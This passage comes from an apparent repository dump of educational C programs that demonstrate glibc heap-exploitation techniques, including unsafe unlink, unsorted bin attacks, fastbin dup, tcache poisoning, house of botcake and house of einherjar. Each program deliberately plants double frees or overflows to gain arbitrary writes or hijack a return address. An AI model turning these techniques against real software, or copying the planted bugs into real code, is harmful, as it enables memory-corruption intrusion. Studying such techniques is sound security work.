bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.27/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 18.04.4 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.27/unsorted_bin_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n\tfprintf(stderr, \"This technique only works with buffers not going into tcache, either because the tcache-option for \"\n\t\t    \"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build \"\n\t\t    \"instructions.\\n\");\n\tfprintf(stderr, \"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n\");\n\tfprintf(stderr, \"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the \"\n\t\t   \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n\n\tvolatile unsigned long stack_var=0;\n\tfprintf(stderr, \"Let's first look at the target we want to rewrite on stack:\\n\");\n\tfprintf(stderr, \"%p: %ld\\n\\n\", &stack_var, stack_var);\n\n\tunsigned long *p=malloc(0x410);\n\tfprintf(stderr, \"Now, we allocate first normal chunk on the heap at: %p\\n\",p);\n\tfprintf(stderr, \"And allocate another normal chunk in order to avoid consolidating the top chunk with\"\n           \"the first one during the free()\\n\\n\");\n\tmalloc(500);\n\n\tfree(p);\n\tfprintf(stderr, \"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer \"\n\t\t   \"point to %p\\n\",(void*)p[1]);\n\n\t//------------VULNERABILITY-----------\n\n\tp[1]=(unsigned long)(&stack_var-2);\n\tfprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\tfprintf(stderr, \"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n\",(void*)p[1]);\n\n\t//------------------------------------\n\n\tmalloc(0x410);\n\tfprintf(stderr, \"Let's malloc again to get the chunk we just free. During this time, the target should have already been \"\n\t\t   \"rewritten:\\n\");\n\tfprintf(stderr, \"%p: %p\\n\", &stack_var, (void*)stack_var);\n\n\tassert(stack_var != 0);\n}\n"
  },
  {
    "path": "glibc_2.27/unsorted_bin_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <assert.h>\n\nvoid jackpot(){ printf(\"Nice jump d00d\\n\"); exit(0); }\n\nint main() {\n\tsetbuf(stdout, NULL);\n\tintptr_t stack_buffer[4] = {0};\n\n\tprintf(\"This technique only works with disabled tcache-option for glibc or the size of the victim chunk is larger than 0x408, see build_glibc.sh for build instructions.\\n\");\n\n\tprintf(\"Allocating the victim chunk\\n\");\n\tintptr_t* victim = malloc(0x410);\n\n\tprintf(\"Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\\n\");\n\tintptr_t* p1 = malloc(0x410);\n\n\tprintf(\"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n\tfree(victim);\n\n\tprintf(\"Create a fake chunk on the stack\");\n\tprintf(\"Set size for next allocation and the bk pointer to any writable address\");\n\tstack_buffer[1] = 0x410 + 0x10;\n\tstack_buffer[3] = (intptr_t)stack_buffer;\n\n\t//------------VULNERABILITY-----------\n\tprintf(\"Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\\n\");\n\tprintf(\"Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\\n\");\n\tvictim[-1] = 0x30;\n\tvictim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack\n\t//------------------------------------\n\n\tprintf(\"Now next malloc will return the region of our fake chunk: %p\\n\", &stack_buffer[2]);\n\tchar *p2 = malloc(0x410);\n\tprintf(\"malloc(0x410): %p\\n\", p2);\n\n\tintptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\tmemcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n\tassert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.31/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.31/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.31/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long long stack_var;\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", 8+(char *)&stack_var);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\t/*VULNERABILITY*/\n\t*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert(p == 8+(char *)&stack_var);\n\t// assert((long)__builtin_return_address(0) == *(long *)p);\n}\n"
  },
  {
    "path": "glibc_2.31/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n  setbuf(stdout, NULL);\n\n  printf(\n    \"\\n\"\n    \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n    \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n    \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n    \"a large unsigned value to the stack.\\n\\n\"\n  );\n\n  // Allocate 14 times so that we can free later.\n  char* ptrs[14];\n  size_t i;\n  for (i = 0; i < 14; i++) {\n    ptrs[i] = malloc(allocsize);\n  }\n\n  printf(\n    \"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n    \"(More than 7 times works fine too.)\\n\\n\"\n  );\n\n  // Fill the tcache.\n  for (i = 0; i < 7; i++) {\n    free(ptrs[i]);\n  }\n\n  char* victim = ptrs[7];\n  printf(\n    \"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n    \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n    \"already full, it will go in the fastbin.\\n\\n\",\n    victim\n  );\n  free(victim);\n\n  printf(\n    \"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n    \"in the fastbin. If the stack address that we want to overwrite is not zero\\n\"\n    \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n    \"cause a segmentation fault. But if the value on the stack is zero then\\n\"\n    \"a single free is sufficient.\\n\\n\"\n  );\n\n  // Fill the fastbin.\n  for (i = 8; i < 14; i++) {\n    free(ptrs[i]);\n  }\n\n  // Create an array on the stack and initialize it with garbage.\n  size_t stack_var[6];\n  memset(stack_var, 0xcd, sizeof(stack_var));\n\n  printf(\n    \"The stack address that we intend to target: %p\\n\"\n    \"It's current value is %p\\n\",\n    &stack_var[2],\n    (char*)stack_var[2]\n  );\n\n  printf(\n    \"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n    \"to overwrite the next pointer at address %p\\n\\n\",\n    victim\n  );\n\n  //------------VULNERABILITY-----------\n\n  // Overwrite linked list pointer in victim.\n  *(size_t**)victim = &stack_var[0];\n\n  //------------------------------------\n\n  printf(\n    \"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\"\n  );\n\n  // Empty tcache.\n  for (i = 0; i < 7; i++) {\n    ptrs[i] = malloc(allocsize);\n  }\n\n  printf(\n    \"Let's just print the contents of our array on the stack now,\\n\"\n    \"to show that it hasn't been modified yet.\\n\\n\"\n  );\n\n  for (i = 0; i < 6; i++) {\n    printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n  }\n\n  printf(\n    \"\\n\"\n    \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n    \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n    \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n    \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n    \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n    \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n    \"pointer is written to the stack.\\n\"\n    \"\\n\"\n    \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n    \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n    \"That's because the value on the stack is treated as a next pointer in the\\n\"\n    \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n    \"\\n\"\n    \"The contents of our array on the stack now look like this:\\n\\n\"\n  );\n\n  malloc(allocsize);\n\n  for (i = 0; i < 6; i++) {\n    printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n  }\n\n  char *q = malloc(allocsize);\n  printf(\n    \"\\n\"\n    \"Finally, if we malloc one more time then we get the stack address back: %p\\n\",\n    q\n  );\n\n  assert(q == (char *)&stack_var[2]);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    puts(\"Allocating a chunk for later consolidation\");\n    intptr_t *prev = malloc(0x100);\n    puts(\"Allocating the victim chunk.\");\n    intptr_t *a = malloc(0x100);\n    printf(\"malloc(0x100): a=%p.\\n\", a); \n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n    \n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n    \n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n    \n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n    \n    // simple tcache poisoning\n    puts(\"Launch tcache poisoning\");\n    puts(\"Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk\");\n    intptr_t *b = malloc(0x120);\n    puts(\"We simply overwrite victim's fwd pointer\");\n    b[0x120/8-2] = (long)stack_var;\n    \n    // take target out\n    puts(\"Now we can cash out the target chunk.\");\n    malloc(0x100);\n    intptr_t *c = malloc(0x100);\n    printf(\"The new chunk is at %p\\n\", c);\n    \n    // sanity check\n    assert(c==stack_var);\n    printf(\"Got control on target/stack!\\n\\n\");\n    \n    // note\n    puts(\"Note:\");\n    puts(\"And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim\");\n    puts(\"In that case, once you have done this exploitation, you can have many arbitary writes very easily.\");\n\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n    /*\n     * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.31.\n     * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n     * It has the additional requirement of a heap leak. \n     * \n     * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n     * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n     * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n     * allocated from the system in this arena:\n     *\n     * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    printf(\"Welcome to House of Einherjar 2!\\n\");\n    printf(\"Tested on Ubuntu 20.04 64bit (glibc-2.31).\\n\");\n    printf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n    printf(\"This file demonstrates a tcache poisoning attack by tricking malloc into\\n\"\n           \"returning a pointer to an arbitrary location (in this case, the stack).\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    printf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *) &stack_var);\n\n    printf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n    intptr_t *a = malloc(0x38);\n\n    // create a fake chunk\n    printf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n    printf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n    a[0] = 0;    // prev_size (Not Used)\n    a[1] = 0x60; // size\n    a[2] = (size_t) a; // fwd\n    a[3] = (size_t) a; // bck\n\n    printf(\"Our fake chunk at %p looks like:\\n\", a);\n    printf(\"prev_size (not used): %#lx\\n\", a[0]);\n    printf(\"size: %#lx\\n\", a[1]);\n    printf(\"fwd: %#lx\\n\", a[2]);\n    printf(\"bck: %#lx\\n\", a[3]);\n\n    printf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n           \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n           \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n    uint8_t *b = (uint8_t *) malloc(0x28);\n    printf(\"b: %p\\n\", b);\n\n    int real_b_size = malloc_usable_size(b);\n    printf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n    /* In this case it is easier if the chunk size attribute has a least significant byte with\n     * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n     * the chunk includes the amount requested plus some amount required for the metadata. */\n    printf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n    uint8_t *c = (uint8_t *) malloc(0xf8);\n\n    printf(\"c: %p\\n\", c);\n\n    uint64_t* c_size_ptr = (uint64_t*)(c - 8);\n    // This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n    printf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n    printf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n    printf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n    b[real_b_size] = 0;\n    printf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n    printf(\"It is easier if b.size is a multiple of 0x100 so you \"\n           \"don't change the size of b, only its prev_inuse bit\\n\");\n\n    // Write a fake prev_size to the end of b\n    printf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n           \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n    size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n    printf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n    *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n    // Change the fake chunk's size to reflect c's new prev_size\n    printf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n    a[1] = fake_size;\n\n    printf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n    // Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n    printf(\"\\nFill tcache.\\n\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n        x[i] = malloc(0xf8);\n    }\n\n    printf(\"Fill up tcache list.\\n\");\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n        free(x[i]);\n    }\n\n    printf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n    free(c);\n    printf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n    printf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n    intptr_t *d = malloc(0x158);\n    printf(\"Next malloc(0x158) is at %p\\n\", d);\n\n    // tcache poisoning\n    printf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n           \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n    uint8_t *pad = malloc(0x28);\n    free(pad);\n\n    printf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n    free(b);\n    printf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n    printf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n    d[0x30 / 8] = (long) stack_var;\n\n    // take target out\n    printf(\"Now we can cash out the target chunk.\\n\");\n    malloc(0x28);\n    intptr_t *e = malloc(0x28);\n    printf(\"\\nThe new chunk is at %p\\n\", e);\n\n    // sanity check\n    assert(e == stack_var);\n    printf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_io.c",
